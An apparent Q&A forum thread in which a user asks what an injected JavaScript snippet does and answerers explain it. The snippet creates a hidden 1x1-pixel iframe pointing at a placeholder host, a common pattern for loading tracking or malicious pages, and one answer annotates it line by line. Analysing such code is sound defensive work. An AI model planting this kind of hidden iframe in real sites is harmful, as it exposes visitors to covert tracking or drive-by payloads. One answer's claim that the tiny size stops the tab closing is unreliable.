Reputation:
What exactly is this malicious javascript code doing?
(function () {
var qk = document.createElement('iframe');
qk.src = 'http://xxx.tld/wp-includes/dtd.php';
qk.style.position = 'absolute';
qk.style.border = '0';
qk.style.height = '1px';
qk.style.width = '1px';
qk.style.left = '1px';
qk.style.top = '1px';
if (!document.getElementById('qk')) {
document.write('<div id=\'qk\'></div>');
document.getElementById('qk').appendChild(qk);
}
})();
The website at http://xxx.tld/wp-includes/dtd.php
just returns OK.
Upvotes: 2
Views: 6994
Reputation: 21
It is setting the width and height to 1 pixel, therefore stopping you closing the tab. It is also setting an iframe to that website which will probably set a cookie to track you.
Upvotes: 0
Reputation: 159855
It is:
(function () {
var qk = document.createElement('iframe'); // creating an iframe
qk.src = 'http://xxx.tld/wp-includes/dtd.php'; // pointing it at a webpage
/*
making the iframe only take up a 1px by 1px square
in the top left-hand corner of the web page it is injected into
*/
qk.style.position = 'absolute';
qk.style.border = '0';
qk.style.height = '1px';
qk.style.width = '1px';
qk.style.left = '1px';
qk.style.top = '1px';
/*
Adding the iframe to the DOM by creating a <div> with an ID of "qt"
(If the div has not been created already)
*/
if (!document.getElementById('qk')) {
document.write('<div id=\'qk\'></div>');
document.getElementById('qk').appendChild(qk);
}
})();
When the iframe is injected into the DOM the browser will make a request to http://xxx.tld/etc
. It is most likely doing this to track hits on your site.
Upvotes: 5
Reputation: 28148
It opens an iframe and runs a php script.
Which probably contains who knows what.
Also it appears to require the existence of a div with the id of qk. Perhaps to inject other bad code.
Upvotes: 0